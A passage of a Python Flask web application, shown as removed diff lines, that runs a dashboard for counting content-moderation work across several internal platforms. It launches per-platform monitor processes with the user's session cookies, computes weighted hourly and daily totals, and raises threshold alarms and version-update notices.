creationflags=subprocess.CREATE_NEW_CONSOLE, - startupinfo=si - ) - logging.info(f"已启动Breeze监控进程: {processes['breeze'].pid}") - processes_started += 1 - except Exception as e: - logging.error(f"启动Breeze监控进程失败: {str(e)}") - else: - logging.info("未提供Breeze Cookie,跳过启动Breeze监控进程") - - # 仅当提供了CMS cookie时才启动CMS监控 - if cms_cookie: - if not os.path.exists('cms_monitor.py'): - logging.error("CMS监控脚本不存在") - else: - # 启动CMS监控进程 - cms_env = os.environ.copy() - cms_env['CMS_COOKIE'] = cms_cookie - cms_env['CMS_USERNAME'] = username - - # 定义最小化窗口的启动参数(仅Windows) - if sys.platform.startswith('win'): - si = subprocess.STARTUPINFO() - si.dwFlags |= subprocess.STARTF_USESHOWWINDOW - si.wShowWindow = 6 # SW_MINIMIZE - else: - si = None - - try: - processes['cms'] = subprocess.Popen( - ['python', 'cms_monitor.py'], - env=cms_env, - creationflags=subprocess.CREATE_NEW_CONSOLE, - startupinfo=si - ) - logging.info(f"已启动CMS监控进程: {processes['cms'].pid}") - processes_started += 1 - except Exception as e: - logging.error(f"启动CMS监控进程失败: {str(e)}") - else: - logging.info("未提供CMS Cookie,跳过启动CMS监控进程") - - # 仅当提供了CC审核平台cookie时才启动其监控进程 - if inspect_cookie: - if not os.path.exists('inspect_monitor.py'): - logging.error("CC审核平台监控脚本不存在") - else: - # 启动CC审核平台监控进程 - inspect_env = os.environ.copy() - inspect_env['INSPECT_COOKIE'] = inspect_cookie - inspect_env['INSPECT_USERNAME'] = username - - # 定义最小化窗口的启动参数(仅Windows) - if sys.platform.startswith('win'): - si = subprocess.STARTUPINFO() - si.dwFlags |= subprocess.STARTF_USESHOWWINDOW - si.wShowWindow = 6 # SW_MINIMIZE - else: - si = None - - try: - processes['inspect'] = subprocess.Popen( - ['python', 'inspect_monitor.py'], - env=inspect_env, - creationflags=subprocess.CREATE_NEW_CONSOLE, - startupinfo=si - ) - logging.info(f"已启动CC审核平台监控进程: {processes['inspect'].pid}") - processes_started += 1 - except Exception as e: - logging.error(f"启动CC审核平台监控进程失败: {str(e)}") - else: - logging.info("未提供CC审核平台Cookie,跳过启动其监控进程") - - # 至少启动一个进程才算成功 - if processes_started > 0: - logging.info(f"成功启动了 {processes_started} 个监控进程") - return True - else: - logging.error("没有启动任何监控进程") - return False - - except Exception as e: - logging.error(f"启动监控进程失败: {str(e)}") - return False - -def add_no_cache_headers(response): - """添加禁止缓存的响应头""" - response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0' - response.headers['Pragma'] = 'no-cache' - response.headers['Expires'] = '0' - return response - -@app.after_request -def after_request(response): - """每个响应添加禁止缓存的头部""" - return add_no_cache_headers(response) - -@app.route('/favicon.ico') -def favicon(): - """提供网站图标""" - try: - script_dir = os.path.dirname(os.path.abspath(__file__)) - static_path = os.path.join(script_dir, 'static') - return send_from_directory(static_path, 'ds-favicon.ico', mimetype='image/vnd.microsoft.icon') - except Exception as e: - log("Failed to serve favicon: " + str(e)) - return '', 204 - -@app.route('/') -def index(): - """主页路由""" - if not session.get('logged_in'): - return redirect(url_for('login')) - return redirect(url_for('dashboard')) - -@app.route('/dashboard') -def dashboard(): - """仪表盘路由""" - if not session.get('logged_in'): - return redirect(url_for('login')) - - # 获取当前登录用户信息 - staff_name = session.get('staff_name', '') - username = session.get('username', '') - - # 获取当前时间 - current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') - - # 获取统计数据 - breeze_hourly = read_data_file('breeze_hourly.json') - breeze_daily = read_data_file('breeze_daily.json') - cms_hourly = read_data_file('cms_hourly.json') - cms_daily = read_data_file('cms_daily.json') - - # 获取告警状态 - alarm_status = get_alarm_status() - - # 获取系数配置 - breeze_coefficients = get_breeze_coefficients() - cms_coefficients = get_coefficients() - - return render_template('dashboard.html', - staff_name=staff_name, - username=username, - current_time=current_time, - breeze_hourly=breeze_hourly, - breeze_daily=breeze_daily, - cms_hourly=cms_hourly, - cms_daily=cms_daily, - alarm_status=alarm_status, - breeze_coefficients=breeze_coefficients, - cms_coefficients=cms_coefficients, - version=VERSION) - -def get_online_staff_data(): - """从在线链接获取staff.json数据""" - url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/staff.json" - - # 添加重试机制 - max_retries = 3 - retry_delay = 5 # 重试间隔(秒) - - for attempt in range(max_retries): - try: - # 尝试不使用代理直接获取 - try: - response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) - except: - # 如果直接获取失败,尝试使用系统代理 - proxies = { - 'http': os.environ.get('HTTP_PROXY', ''), - 'https': os.environ.get('HTTPS_PROXY', '') - } - response = requests.get(url, timeout=10, proxies=proxies, verify=False) - - if response.status_code == 200: - staff_data = response.json() - log(f"从在线链接加载员工数据成功") - return staff_data - else: - error_msg = f"获取在线员工数据失败,HTTP状态码: {response.status_code}" - log(error_msg) - - if attempt < max_retries - 1: # 如果不是最后一次重试 - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - else: - log("所有重试均失败,返回空数据") - return {} - except Exception as e: - error_msg = f"获取在线员工数据时发生错误: {str(e)}" - log(error_msg) - - if attempt < max_retries - 1: # 如果不是最后一次重试 - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - else: - log("所有重试均失败,返回空数据") - return {} - - return {} - -def get_staff_name(staff_id): - """根据工号获取员工姓名""" - try: - staff_data = get_online_staff_data() - if staff_data: - return staff_data.get(staff_id) - return None - except Exception as e: - log(f"获取员工姓名时发生错误: {str(e)}") - return None - -@app.route('/login', methods=['GET', 'POST']) -def login(): - if request.method == 'POST': - try: - username = request.form.get('username', '').upper() - breeze_cookie = request.form.get('breeze_cookie', '') - cms_cookie = request.form.get('cms_cookie', '') - inspect_cookie = request.form.get('inspect_cookie', '') - backend_type = request.form.get('backend_type', 'breeze_monitor') - - # 检查必填字段 - 用户名 - if not username: - return jsonify({'code': 1, 'message': '请填写工号'}) - - # 检查至少一个Cookie必须填写 - if not (breeze_cookie or cms_cookie or inspect_cookie): - return jsonify({'code': 1, 'message': '请至少填写一个系统的Cookie'}) - - # 尝试从staff.json获取姓名,如果不存在则使用工号 - staff_name = get_staff_name(username) - #if not staff_name: # 启用工号验证 - # return jsonify({'code': 1, 'message': f'您的工号({username})尚未在系统中注册或为不可用状态,无法登录,请联系系统管理员协助'}) - display_name = f"{username} ({staff_name})" if staff_name else username # 禁用工号验证 - - # 保存会话信息 - session['username'] = username - #session['staff_name'] = staff_name # 启用工号验证 - session['staff_name'] = display_name # 禁用工号验证 - session['breeze_cookie'] = breeze_cookie - session['cms_cookie'] = cms_cookie - session['inspect_cookie'] = inspect_cookie - session['backend_type'] = backend_type - session['logged_in'] = True # 添加登录标志 - - # 启动监控进程 - start_monitor_processes() - - return jsonify({ - 'code': 0, - 'message': '登录成功', - 'staff_name': display_name, # 禁用工号验证 - #'staff_name': staff_name, # 启用工号验证 - 'redirect': '/dashboard' - }) - - except Exception as e: - logging.error(f"登录失败: {str(e)}") - return jsonify({'code': 1, 'message': f'登录失败: {str(e)}'}) - - return render_template('login.html', version=VERSION) - -@app.route('/logout') -def logout(): - """退出系统""" - try: - # 记录退出用户 - username = session.get('username', '未知用户') - log("用户 [" + username + "] 退出系统") - - # 清除会话 - session.clear() - - # 标记系统即将退出 - global shutdown_flag - shutdown_flag = True - - # 尝试停止监控进程 - if processes['breeze'] and processes['breeze'].poll() is None: - try: - processes['breeze'].terminate() - log("已停止Breeze监控进程") - except Exception as e: - log("停止Breeze监控进程失败: " + str(e)) - - if processes['cms'] and processes['cms'].poll() is None: - try: - processes['cms'].terminate() - log("已停止CMS监控进程") - except Exception as e: - log("停止CMS监控进程失败: " + str(e)) - - # 删除共享数据文件 - try: - script_dir = os.path.dirname(os.path.abspath(__file__)) - data_files = ['breeze_daily.json', 'breeze_hourly.json', 'cms_daily.json', 'cms_hourly.json', 'inspect_daily.json', 'inspect_hourly.json', 'breeze_coefficients.json', 'cms_coefficients.json', 'inspect_coefficients.json'] - - for file_name in data_files: - file_path = os.path.join(script_dir, file_name) - for attempt in range(3): # 最多重试3次 - try: - if os.path.exists(file_path): - os.remove(file_path) - log(f"已删除共享数据文件: {file_name}") - break - except Exception as e: - log(f"删除文件 {file_name} 失败: {str(e)},第{attempt+1}次重试") - time.sleep(1) - log("成功清理所有共享数据文件") - except Exception as e: - log(f"删除共享数据文件时出错: {str(e)}") - - # 在一个后台线程中等待几秒后退出应用程序 - def shutdown_app(): - time.sleep(3) # 等待3秒 - log("用户退出系统,系统正在完全关闭...") - # 关闭所有子进程和当前进程 - if sys.platform.startswith('win'): - # 在Windows系统下,强制关闭当前进程及所有子进程 - try: - # 获取当前进程PID - current_pid = os.getpid() - # 使用taskkill命令强制结束进程树 - subprocess.run(f'taskkill /F /T /PID {current_pid}', shell=True) - except Exception as e: - log(f"关闭进程时出错: {str(e)}") - else: - # 非Windows系统使用标准退出方式 - os._exit(0) # 强制关闭整个程序 - - # 启动关闭线程 - threading.Thread(target=shutdown_app).start() - - # 返回包含关闭倒计时的页面 - return """ - - - - - 正在关闭系统... - - - -
-
-

正在清理数据

-
-

请稍候...

-
- -
- - - -""" - except Exception as e: - log("Error in logout route: " + str(e)) - return "Logout error. Please check logs.", 500 - -def read_data_file(filename): - """读取数据文件""" - try: - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, filename) - - if not os.path.exists(file_path): - return None - - with open(file_path, 'r', encoding='utf-8') as f: - data = json.load(f) - return data - except Exception as e: - log("Failed to read file {0}: {1}".format(filename, str(e))) - return None - -def check_version(): - """检查系统版本并与在线版本比较""" - global version_check_thread_running - - try: - log("开始检查系统版本更新...") - with version_lock: - version_status['last_check_time'] = datetime.now() - - # 确保VERSION.txt文件存在且内容与VERSION一致 - local_version = ensure_version_file() - log(f"当前本地版本: {local_version}") - - # 获取在线版本 - online_version = get_online_version() - log(f"获取到的在线版本: {online_version}") - - if online_version: - with version_lock: - version_status['online_version'] = online_version - # 比较版本号,只在线上版本比本地版本新时才提示更新 - local_timestamp = int(local_version[1:].split('-')[0]) # 去掉'v'前缀并转换为数字 - online_timestamp = int(online_version[1:].split('-')[0]) # 去掉'v'前缀并转换为数字 - version_status['has_update'] = online_timestamp > local_timestamp - log(f"版本比较结果 - 在线版本: {online_version}, 本地版本: {local_version}, 是否有更新: {version_status['has_update']}") - - # 如果有更新且没有正在运行的线程,启动告警线程 - if version_status['has_update'] and not version_check_thread_running: - version_check_thread_running = True - threading.Thread(target=notify_version_update).start() - - return { - 'current_version': VERSION, - 'online_version': online_version, - 'has_update': version_status['has_update'], - 'last_check_time': version_status['last_check_time'].strftime('%Y-%m-%d %H:%M:%S') if version_status['last_check_time'] else None - } - else: - log("无法获取在线版本,返回本地版本信息") - return { - 'current_version': VERSION, - 'online_version': None, - 'has_update': False, - 'last_check_time': version_status['last_check_time'].strftime('%Y-%m-%d %H:%M:%S') if version_status['last_check_time'] else None - } - except Exception as e: - log(f"版本检查过程中发生错误: {str(e)}") - return { - 'current_version': VERSION, - 'online_version': None, - 'has_update': False, - 'last_check_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), - 'error': str(e) - } - finally: - # 确保线程标志被重置 - if version_check_thread_running: - version_check_thread_running = False - -def notify_version_update(): - """通知用户有新版本可用""" - try: - # 确保VERSION.txt文件存在 - ensure_version_file() - with version_lock: - online_version = version_status['online_version'] - - if online_version: - message = f"系统有新版本可用: {online_version},当前版本: {VERSION}" - log(message) - - try: - # 发送桌面通知 - from plyer import notification - notification.notify( - title="系统版本更新", - message=message + "\n点击'检测更新'按钮了解详情", - app_icon=None, - timeout=10, - toast=False - ) - - # 通过WebSocket通知前端弹出版本检测窗口 - socketio.emit('version_update', { - 'type': 'show_version_dialog', - 'current_version': VERSION, - 'online_version': online_version - }) - - except Exception as e: - log(f"显示桌面通知失败: {str(e)}") - except Exception as e: - log(f"通知版本更新失败: {str(e)}") - finally: - # 重置线程运行标志 - global version_check_thread_running - version_check_thread_running = False - -def monitor_version_thread(): - """版本检测后台线程""" - log("版本监控线程启动") - while True: - try: - # 每30分钟检查一次版本更新 - check_version() - time.sleep(1800) # 30分钟 - except Exception as e: - log(f"版本监控线程异常: {str(e)}") - time.sleep(600) # 出错后等待10分钟重试 - -@app.route('/api/get-version') -def get_version(): - """获取系统版本信息""" - try: - # 确保VERSION.txt文件存在 - ensure_version_file() - - with version_lock: - status = { - 'current_version': VERSION, - 'local_version': VERSION, # 固定的本地版本号 - 'online_version': version_status['online_version'], - 'has_update': version_status['has_update'], - 'last_check_time': version_status['last_check_time'].strftime('%Y-%m-%d %H:%M:%S') if version_status['last_check_time'] else None - } - - return jsonify({ - 'success': True, - 'data': status - }) - except Exception as e: - log("Error in get_version route: " + str(e)) - return jsonify({'success': False, 'message': 'Internal server error'}), 500 - -@app.route('/api/check-version') -def check_version_api(): - """手动检查版本更新的API""" - try: - result = check_version() - - if result: - return jsonify({ - 'success': True, - 'data': result - }) - else: - # 至少返回当前版本信息 - return jsonify({ - 'success': False, - 'message': '获取在线版本信息失败', - 'data': { - 'current_version': VERSION, - 'local_version': VERSION, - 'online_version': None, - 'has_update': False, - 'last_check_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - }) - except Exception as e: - log("Error in check_version_api route: " + str(e)) - return jsonify({'success': False, 'message': f'检测版本更新失败: {str(e)}'}), 500 - -@app.route('/api/get-stats') -def get_stats(): - """获取所有统计数据""" - try: - if 'logged_in' not in session: - return jsonify({'success': False, 'message': 'Not logged in'}) - - try: - # 读取各个数据文件 - breeze_hourly = read_data_file('breeze_hourly.json') or { - 'stats': { - 'weighted_total': 0, - 'total': 0, - 'categories': {}, - 'details': {} - }, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - - breeze_daily = read_data_file('breeze_daily.json') or { - 'stats': { - 'weighted_total': 0, - 'total': 0, - 'categories': {}, - 'details': {} - }, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - - cms_hourly = read_data_file('cms_hourly.json') or { - 'stats': { - 'weighted_total': 0, - 'total': 0, - 'comment': 0, - 'feed': 0, - 'complaint': 0 - }, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - - cms_daily = read_data_file('cms_daily.json') or { - 'stats': { - 'weighted_total': 0, - 'total': 0, - 'comment': 0, - 'feed': 0, - 'complaint': 0 - }, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - - # 读取CC审核平台数据 - inspect_hourly = read_data_file('inspect_hourly.json') or { - 'stats': [] - } - inspect_daily = read_data_file('inspect_daily.json') or { - 'stats': [] - } - - # 获取最新的统计数据 - inspect_hourly_stats = inspect_hourly['stats'][-1] if inspect_hourly['stats'] else { - 'total': 0, - 'weighted_total': 0, - 'timestamp': int(time.time()) - } - - inspect_daily_stats = inspect_daily['stats'][-1] if inspect_daily['stats'] else { - 'total': 0, - 'weighted_total': 0, - 'timestamp': int(time.time()) - } - - # 获取当前的CMS系数设置 - script_dir = os.path.dirname(os.path.abspath(__file__)) - cms_coefficients_file = os.path.join(script_dir, 'cms_coefficients.json') - cms_coefficients = None - - if os.path.exists(cms_coefficients_file): - try: - with open(cms_coefficients_file, 'r', encoding='utf-8') as f: - cms_coefficients = json.load(f) - log("从配置文件加载CMS系数") - except Exception as e: - log(f"读取CMS系数配置文件失败: {str(e)}") - - # 如果无法读取配置,使用默认系数 - if not cms_coefficients: - cms_coefficients = { - 'comment': 0.55, - 'feed': 1.54, - 'complaint': 5.4 - } - log("使用默认CMS系数") - - # 获取当前的Breeze系数设置 - breeze_coefficients_file = os.path.join(script_dir, 'breeze_coefficients.json') - breeze_coefficients = None - - if os.path.exists(breeze_coefficients_file): - try: - with open(breeze_coefficients_file, 'r', encoding='utf-8') as f: - breeze_coefficients = json.load(f) - log("从配置文件加载Breeze系数") - except Exception as e: - log(f"读取Breeze系数配置文件失败: {str(e)}") - - # 如果无法读取配置,不设置默认值,让前端使用现有值 - if not breeze_coefficients: - log("无法读取Breeze系数配置文件") - - # 合并结果 - result = { - 'breeze': { - 'hourly': breeze_hourly.get('stats', {}), - 'hourly_update': breeze_hourly.get('timestamp', ''), - 'daily': breeze_daily.get('stats', {}), - 'daily_update': breeze_daily.get('timestamp', ''), - 'coefficients': breeze_coefficients - }, - 'cms': { - 'hourly': cms_hourly.get('stats', {}), - 'hourly_update': cms_hourly.get('timestamp', ''), - 'daily': cms_daily.get('stats', {}), - 'daily_update': cms_daily.get('timestamp', ''), - 'coefficients': cms_coefficients - }, - 'inspect': { - 'hourly': inspect_hourly_stats, - 'hourly_update': datetime.fromtimestamp(inspect_hourly_stats['timestamp']).strftime('%Y-%m-%d %H:%M:%S'), - 'daily': inspect_daily_stats, - 'daily_update': datetime.fromtimestamp(inspect_daily_stats['timestamp']).strftime('%Y-%m-%d %H:%M:%S'), - 'coefficients': {'default': 1.5} - }, - 'total': { - 'hourly': 0, - 'daily': 0 - } - } - - # 计算总折算数 - if breeze_hourly and 'stats' in breeze_hourly and 'weighted_total' in breeze_hourly['stats']: - result['total']['hourly'] += breeze_hourly['stats']['weighted_total'] - - if cms_hourly and 'stats' in cms_hourly and 'weighted_total' in cms_hourly['stats']: - result['total']['hourly'] += cms_hourly['stats']['weighted_total'] - - if inspect_hourly_stats and 'weighted_total' in inspect_hourly_stats: - result['total']['hourly'] += inspect_hourly_stats['weighted_total'] - - if breeze_daily and 'stats' in breeze_daily and 'weighted_total' in breeze_daily['stats']: - result['total']['daily'] += breeze_daily['stats']['weighted_total'] - - if cms_daily and 'stats' in cms_daily and 'weighted_total' in cms_daily['stats']: - result['total']['daily'] += cms_daily['stats']['weighted_total'] - - if inspect_daily_stats and 'weighted_total' in inspect_daily_stats: - result['total']['daily'] += inspect_daily_stats['weighted_total'] - - # 检查告警阈值 - if result['total']['hourly'] >= ALARM_THRESHOLD: - check_alarm(result['total']['hourly']) - - # 通过WebSocket发送更新 - try: - socketio.emit('stats_update', { - 'success': True, - 'data': result, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - }) - except Exception as e: - log(f"WebSocket发送数据更新失败: {str(e)}") - - return jsonify({ - 'success': True, - 'data': result, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - }) - - except Exception as e: - log("Failed to get stats: " + str(e)) - return jsonify({ - 'success': False, - 'message': "Failed to get stats: " + str(e) - }) - except Exception as e: - log("Error in get_stats route: " + str(e)) - return jsonify({'success': False, 'message': 'Internal server error'}), 500 - -def check_alarm(total_weighted): - """检查并触发告警""" - try: - with alarm_lock: - now = datetime.now() - - # 如果最近30秒内已经告警过,增加计数但不重复告警 - if alarm_status['last_alarm_time'] and (now - alarm_status['last_alarm_time']).total_seconds() < 30: - return - - # 设置告警状态 - alarm_status['last_alarm_time'] = now - alarm_status['alarm_count'] += 1 - alarm_status['is_alarming'] = True - - # 如果已经达到3次告警,不再继续 - if alarm_status['alarm_count'] > 3: - return - - # 启动线程播放告警声音和显示通知 - # 将当前加权总值传递给函数 - threading.Thread(target=lambda: show_alarm_notification(total_weighted)).start() - log("Alarm triggered: Current weighted total {0:.2f}, exceeded threshold {1}".format(total_weighted, ALARM_THRESHOLD)) - except Exception as e: - log("Error in check_alarm: " + str(e)) - -def show_alarm_notification(total_weighted, is_test=False, alarm_type="实时告警"): - """显示告警通知和播放告警声音""" - try: - # 播放系统告警声音 - try: - import winsound - winsound.PlaySound("SystemExclamation", winsound.SND_ALIAS) - except: - # 如果winsound不可用,尝试使用beep - print('\a') - - # 添加桌面通知 - try: - from plyer import notification - - # 计算超出阈值的百分比 - over_percentage = ((total_weighted - ALARM_THRESHOLD) / ALARM_THRESHOLD) * 100 - - # 根据是否为测试调整标题 - title = "测试告警" if is_test else "审核数量告警" - - # 根据是否为测试调整消息前缀 - prefix = "[测试数据] " if is_test else "" - - notification.notify( - title=title, - message=f"{prefix}{alarm_type}当前小时加权总计:{total_weighted:.2f}\n阈值:{ALARM_THRESHOLD}\n超出:{over_percentage:.1f}%\n请立即检查数据监控看板!", - app_icon=None, - timeout=15, - toast=False - ) - except Exception as e: - log("Failed to show desktop notification: " + str(e)) - - # WebSocket推送网页弹窗 - try: - from flask_socketio import SocketIO - global socketio - over_percentage = ((total_weighted - ALARM_THRESHOLD) / ALARM_THRESHOLD) * 100 - socketio.emit('alarm', { - 'type': alarm_type, - 'message': f"{alarm_type}:当前值:{total_weighted:.2f},超出{over_percentage:.1f}%" - }) - except Exception as e: - log(f"WebSocket推送告警失败: {str(e)}") - except Exception as e: - log("Failed to play alarm sound: " + str(e)) - -@app.route('/api/get-alarm-status') -def get_alarm_status(): - """获取告警状态""" - try: - with alarm_lock: - status = { - 'is_alarming': alarm_status['is_alarming'], - 'alarm_count': alarm_status['alarm_count'], - 'last_alarm_time': alarm_status['last_alarm_time'].strftime('%Y-%m-%d %H:%M:%S') if alarm_status['last_alarm_time'] else None, - 'threshold': ALARM_THRESHOLD, - 'alarm_type': alarm_status['alarm_type'] - } - - return jsonify({ - 'success': True, - 'data': status - }) - except Exception as e: - log("Error in get_alarm_status route: " + str(e)) - return jsonify({'success': False, 'message': 'Internal server error'}), 500 - -@app.route('/api/reset-alarm') -def reset_alarm(): - """重置告警状态""" - try: - with alarm_lock: - alarm_status['is_alarming'] = False - alarm_status['alarm_count'] = 0 - - return jsonify({ - 'success': True, - 'message': 'Alarm has been reset' - }) - except Exception as e: - log("Error in reset_alarm route: " + str(e)) - return jsonify({'success': False, 'message': 'Internal server error'}), 500 - -@app.route('/api/restart-monitoring') -def restart_monitoring(): - """重启监控进程""" - try: - if 'logged_in' not in session: - return jsonify({'success': False, 'message': 'Not logged in'}) - - # 获取Python可执行文件路径 - python_executable = sys.executable - - # 获取后端类型和凭据 - backend_type = session.get('backend_type', 'breeze_monitor') - breeze_cookie = session.get('breeze_cookie', '') - cms_cookie = session.get('cms_cookie', '') - inspect_cookie = session.get('inspect_cookie', '') - username = session.get('username', '') - - # 终止现有进程 - processes_to_stop = ['breeze', 'cms', 'inspect'] - for process_name in processes_to_stop: - if processes.get(process_name) and processes[process_name].poll() is None: - try: - processes[process_name].terminate() - processes[process_name].wait(timeout=5) - log(f"已停止{process_name.upper()}监控进程") - except Exception as e: - log(f"停止{process_name.upper()}监控进程失败: {str(e)}") - try: - processes[process_name].kill() - except: - pass - - # 等待一下确保进程完全终止 - time.sleep(1) - - # 根据后端类型选择监控脚本 - if backend_type == 'breeze_monitor_CHAT': - monitor_script = 'breeze_monitor_CHAT.py' - else: - monitor_script = 'breeze_monitor.py' - - # 获取脚本所在目录 - script_dir = os.path.dirname(os.path.abspath(__file__)) - monitor_path = os.path.join(script_dir, monitor_script) - cms_path = os.path.join(script_dir, "cms_monitor.py") - inspect_path = os.path.join(script_dir, "inspect_monitor.py") - - # 检查监控脚本是否存在 - if not os.path.exists(monitor_path): - log(f"监控脚本不存在: {monitor_path}") - return jsonify({'success': False, 'message': f'监控脚本不存在: {monitor_path}'}) - - # 启动新的监控进程 - try: - # 启动Breeze监控 - env = os.environ.copy() - env['BREEZE_COOKIE'] = breeze_cookie - env['BREEZE_USERNAME'] = username - - processes['breeze'] = subprocess.Popen( - [python_executable, monitor_path], - env=env, - shell=False, - creationflags=subprocess.CREATE_NEW_CONSOLE - ) - log(f"已启动{backend_type}监控进程, PID: {processes['breeze'].pid}") - - # 启动CMS监控 - env = os.environ.copy() - env['CMS_COOKIE'] = cms_cookie - env['CMS_USERNAME'] = username - - processes['cms'] = subprocess.Popen( - [python_executable, cms_path], - env=env, - shell=False, - creationflags=subprocess.CREATE_NEW_CONSOLE - ) - log(f"CMS监控进程已启动, PID: {processes['cms'].pid}") - - # 启动CC审核平台监控 - if inspect_cookie: - env = os.environ.copy() - env['INSPECT_COOKIE'] = inspect_cookie - env['INSPECT_USERNAME'] = username - - processes['inspect'] = subprocess.Popen( - [python_executable, inspect_path], - env=env, - shell=False, - creationflags=subprocess.CREATE_NEW_CONSOLE - ) - log(f"CC审核平台监控进程已启动, PID: {processes['inspect'].pid}") - - return jsonify({ - 'success': True, - 'message': '监控进程已重启' - }) - except Exception as e: - log(f"启动监控进程失败: {str(e)}") - return jsonify({ - 'success': False, - 'message': f'启动监控进程失败: {str(e)}' - }) - except Exception as e: - log(f"重启监控进程失败: {str(e)}") - return jsonify({ - 'success': False, - 'message': f'重启监控进程失败: {str(e)}' - }) - -def open_browser(): - """在新线程中打开浏览器""" - time.sleep(1) # 等待服务器启动 - try: - webbrowser.open('http://localhost:8000') - except Exception as e: - log("Failed to open browser: " + str(e)) - -@app.route('/api/check-now') -def check_now(): - """立即检查当前小时数据""" - try: - if 'logged_in' not in session: - return jsonify({'success': False, 'message': 'Not logged in'}) - - # 获取Python可执行文件路径 - python_executable = sys.executable - - # 获取后端类型和凭据 - backend_type = session.get('backend_type', 'breeze_monitor') - breeze_cookie = session.get('breeze_cookie', '') - cms_cookie = session.get('cms_cookie', '') - inspect_cookie = session.get('inspect_cookie', '') - username = session.get('username', '') - - # 终止现有进程 - if not terminate_existing_processes(): - return jsonify({ - 'success': False, - 'message': '无法完全终止现有进程,请手动关闭后重试' - }) - - # 获取脚本所在目录 - script_dir = os.path.dirname(os.path.abspath(__file__)) - - # 根据后端类型选择监控脚本 - if backend_type == 'breeze_monitor_CHAT': - monitor_script = 'breeze_monitor_CHAT.py' - else: - monitor_script = 'breeze_monitor.py' - - monitor_path = os.path.join(script_dir, monitor_script) - cms_path = os.path.join(script_dir, "cms_monitor.py") - inspect_path = os.path.join(script_dir, "inspect_monitor.py") - - # 检查监控脚本是否存在 - if not os.path.exists(monitor_path): - log(f"监控脚本不存在: {monitor_path}") - return jsonify({'success': False, 'message': f'监控脚本不存在: {monitor_path}'}) - - # 启动临时检查进程 - try: - processes_started = [] - - # 启动临时Breeze检查 - env = os.environ.copy() - env['BREEZE_COOKIE'] = breeze_cookie - env['BREEZE_USERNAME'] = username - - temp_breeze = subprocess.Popen( - [python_executable, monitor_path, "--check-now", "--force"], - env=env, - shell=False, - creationflags=subprocess.CREATE_NEW_CONSOLE - ) - processes_started.append(('Breeze', temp_breeze)) - - # 启动临时CMS检查 - env = os.environ.copy() - env['CMS_COOKIE'] = cms_cookie - env['CMS_USERNAME'] = username - - temp_cms = subprocess.Popen( - [python_executable, cms_path, "--check-now", "--force"], - env=env, - shell=False, - creationflags=subprocess.CREATE_NEW_CONSOLE - ) - processes_started.append(('CMS', temp_cms)) - - # 启动临时CC审核平台检查 - if inspect_cookie: - env = os.environ.copy() - env['INSPECT_COOKIE'] = inspect_cookie - env['INSPECT_USERNAME'] = username - - temp_inspect = subprocess.Popen( - [python_executable, inspect_path, "--check-now", "--force"], - env=env, - shell=False, - creationflags=subprocess.CREATE_NEW_CONSOLE - ) - processes_started.append(('Inspect', temp_inspect)) - - # 等待所有进程完成或超时 - wait_start = time.time() - while time.time() - wait_start < 30: # 最多等待30秒 - all_done = True - for name, proc in processes_started: - if proc.poll() is None: - all_done = False - break - if all_done: - break - time.sleep(0.5) - - # 检查是否所有进程都已完成 - failed_processes = [] - for name, proc in processes_started: - if proc.poll() is None: - try: - proc.terminate() - failed_processes.append(name) - except: - pass - - if failed_processes: - return jsonify({ - 'success': False, - 'message': f'以下检查进程未能在30秒内完成: {", ".join(failed_processes)}' - }) - - # 重新启动常规监控进程 - if not start_monitor_processes(): - return jsonify({ - 'success': False, - 'message': '临时检查完成,但重启常规监控失败' - }) - - return jsonify({ - 'success': True, - 'message': '数据检查完成并重启了监控进程' - }) - - except Exception as e: - log(f"启动临时检查进程失败: {str(e)}") - # 确保重启常规监控进程 - start_monitor_processes() - return jsonify({ - 'success': False, - 'message': f'启动临时检查进程失败: {str(e)}' - }) - - except Exception as e: - log(f"临时检查失败: {str(e)}") - # 确保重启常规监控进程 - start_monitor_processes() - return jsonify({ - 'success': False, - 'message': f'临时检查失败: {str(e)}' - }) - -@app.route('/api/test-alarm') -def test_alarm(): - """测试告警功能""" - try: - if 'logged_in' not in session: - return jsonify({'success': False, 'message': 'Not logged in'}) - - # 检查是否为实际数据告警 - is_real_data = request.args.get('real_data', 'false').lower() == 'true' - - # 根据请求类型选择不同的消息 - message = "实时告警" if is_real_data else "测试告警" - - # 立即触发第一次告警 - if not is_real_data: - # 手动触发告警并传递测试告警值 - show_alarm_notification(ALARM_THRESHOLD + 100, is_test=True, alarm_type="测试告警") - else: - # 从API获取当前真实的小时总量 - try: - breeze_hourly = read_data_file('breeze_hourly.json') or {'stats': {'weighted_total': 0}} - cms_hourly = read_data_file('cms_hourly.json') or {'stats': {'weighted_total': 0}} - - total_hourly = 0 - if 'stats' in breeze_hourly and 'weighted_total' in breeze_hourly['stats']: - total_hourly += breeze_hourly['stats']['weighted_total'] - if 'stats' in cms_hourly and 'weighted_total' in cms_hourly['stats']: - total_hourly += cms_hourly['stats']['weighted_total'] - - # 只有在实际超过阈值时才显示通知 - if total_hourly >= ALARM_THRESHOLD: - show_alarm_notification(total_hourly, is_test=False, alarm_type="实时告警") - except Exception as e: - log(f"Error getting real data for alarm: {str(e)}") - - # 设置告警状态,启用连续告警 - with alarm_lock: - now = datetime.now() - alarm_status['last_alarm_time'] = now - alarm_status['is_alarming'] = True - alarm_status['alarm_type'] = message # 保存告警类型 - - # 设置告警计数为1,开始计数 - alarm_status['alarm_count'] = 1 - - # 创建后台线程发送连续告警 - if not is_real_data: # 仅对测试告警启用连续通知 - threading.Thread(target=lambda: send_sequential_test_alarms("测试告警")).start() - - log(f"{message} triggered by user") - - return jsonify({ - 'success': True, - 'message': f'{message} successful' - }) - except Exception as e: - log("Error in 